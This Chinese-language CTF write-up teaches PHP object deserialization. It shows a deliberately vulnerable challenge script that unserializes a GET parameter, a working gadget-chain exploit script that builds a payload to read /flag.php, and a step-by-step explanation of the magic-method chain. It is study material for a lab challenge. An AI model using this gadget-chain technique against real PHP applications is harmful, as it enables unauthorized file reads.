PHP序列化学习

建议打开两个窗口!!!(左边代码,右边说明)

初始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in /flag.php
error_reporting(0);
class baby{
public $var;
public $var2;
public $var3;

public function learn($key){
echo file_get_contents(__DIR__.$key);
}

public function getAge(){
return $this->var2->var3;
}

public function __isset($var){
$this->learn($var);
}

public function __invoke(){
return $this->learn($this->var);
}

public function __wakeup(){
$this->getAge();
}
}

class young{
public $var;

public function __toString(){
return ($this->var)();
}
}

class old{
public $var;

public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}


if(isset($_GET['age'])){
@unserialize($_GET['age']);
}
else{
highlight_file(__FILE__);
}
?>

反序列化后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class baby{
public $var='/flag.php';
public $var2;
public $var3;

public function learn($key){
echo file_get_contents(__DIR__.$key);
}

public function getAge(){
return $this->var2->var3;
}

public function __invoke(){
return $this->learn($this->var);
}

public function __wakeup(){
$this->getAge();
}
}

class young{
public $var;

public function __toString(){
return ($this->var)();
}
}

class old{
public $var;

public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}

$a = new baby();
$a->var2 = new old();
$a->var2->var = new young();
$a->var2->var->var = new baby();

echo urlencode(serialize($a));

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
好的,让我们进一步简化和分解这个过程,以便更好地理解代码中涉及的各个部分。

### 核心目标
代码的核心目标是通过反序列化一个对象,来触发执行 `file_get_contents('/flag.php')`,从而输出 `/flag.php` 文件的内容。

### 关键步骤解析

1. **baby 类的 `__wakeup` 方法**
- 当 `baby` 类的对象被反序列化时,PHP 会自动调用它的 `__wakeup` 方法。
- 在 `__wakeup` 方法中,代码调用了 `$this->getAge()`。

2. **baby 类的 `getAge` 方法**
- `getAge` 方法尝试返回 `$this->var2->var3` 的值。
- 由于 `var3` 属性不存在,PHP 会尝试调用 `old` 类的 `__get` 方法,因为 `$this->var2` 是 `old` 类的实例。

3. **old 类的 `__get` 方法**
- `__get` 方法被调用时,返回一个字符串:`"Okay, you get the key, but we send you ".$this->var`。
- 这里的 `$this->var` 实际上是一个特殊构造的字符串,它利用了 `young` 类的 `__tostring` 方法。

4. **young 类的 `__tostring` 方法**
- `$this->var` 被赋值为 `young` 类的一个实例。
- 当 `$this->var` 被当作字符串使用时(在 `old` 类的 `__get` 方法中),会调用 `young` 类的 `__tostring` 方法。
- `__tostring` 方法将 `$this->var` 当作函数调用,并返回其返回值。

5. **baby 类的 `__invoke` 方法**
- `$this->var`(即 `young` 类的实例)被当作函数调用时,实际上是调用了 `baby` 类的 `__invoke` 方法,因为 `young` 类的 `var` 属性是 `baby` 类的实例。
- 在 `__invoke` 方法中,调用了 `$this->learn($this->var)`。

6. **baby 类的 `learn` 方法**
- 最终,`learn` 方法被调用,并传递了 `/flag.php` 作为参数。
- `learn` 方法执行 `file_get_contents(__DIR__.$key)`,其中 `$key` 是 `/flag.php`,从而输出 `/flag.php` 文件的内容。

### 为什么需要这些复杂的对象关系?

这种设计利用了 PHP 的对象引用和魔术方法来实现一个链式调用,这个链式调用在对象被反序列化时自动触发。通过这种方式,代码可以在不直接调用任何函数的情况下,通过反序列化一个对象来间接执行特定的代码。

### 简化理解

- **baby 类**:负责最终的文件读取和输出。
- **old 类**:负责提供触发 `young` 类的机制。
- **young 类**:负责将 `baby` 类的实例当作函数调用。

这种设计展示了 PHP 语言中对象和引用的强大功能,但也需要注意,这种复杂的设计可能会导致代码难以理解和维护,同时也可能带来安全风险。在实际开发中,我们应该尽量避免这种复杂的设计,而是采用更清晰、更安全的方法来实现功能。